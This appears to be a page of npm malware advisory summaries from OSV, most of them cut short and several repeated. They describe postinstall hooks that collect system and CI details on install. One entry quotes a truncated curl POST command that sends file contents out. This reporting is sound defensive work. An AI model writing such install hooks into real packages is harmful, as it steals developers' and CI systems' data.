npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 546
Updated 25 Oct 2026, 19:10 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-4205 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4205 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4205 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4205 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4205 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-4205 blocks this version. A coordinated supply-chain attack comprising 10 npm packages published by maintainer `ddjidd5640` (1623682356@qq.com) withi...
OpenSSF/OSV malware advisory MAL-2026-3745 blocks this version. The package deepl-sync was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-4277 blocks this version. Ten packages published by npm user `asdxzxc` at version 1.0.10 target developers working on AI and LLM tooling. Each packag...
OpenSSF/OSV malware advisory MAL-2026-4277 blocks this version. Ten packages published by npm user `asdxzxc` at version 1.0.10 target developers working on AI and LLM tooling. Each packag...
OpenSSF/OSV malware advisory MAL-2026-3418 blocks this version. The package devsite-youtube was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-4548 blocks this version. On `npm install`, the package's postinstall.js runs `whoami` and reads `os.hostname()`, `os.platform()`, the current workin...
OpenSSF/OSV malware advisory MAL-2026-4264 blocks this version. On `npm install`, postinstall.js runs `whoami` via execSync and collects os.hostname(), os.platform(), cwd, and CI/GitHub e...
OpenSSF/OSV malware advisory MAL-2026-4264 blocks this version. On `npm install`, postinstall.js runs `whoami` via execSync and collects os.hostname(), os.platform(), cwd, and CI/GitHub e...
OpenSSF/OSV malware advisory MAL-2026-6460 blocks this version. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /dat...
OpenSSF/OSV malware advisory MAL-2026-6460 blocks this version. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /dat...
OpenSSF/OSV malware advisory MAL-2026-6460 blocks this version. package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /dat...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4266 blocks this version. package.json declares scripts.postinstall=node postinstall.js, which executes unconditionally on `npm install`. The script...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...
OpenSSF/OSV malware advisory MAL-2026-4177 blocks this version. On `npm install`, the package's postinstall script runs `node -e` to fetch the installer's public IP from api.ipify.org, ex...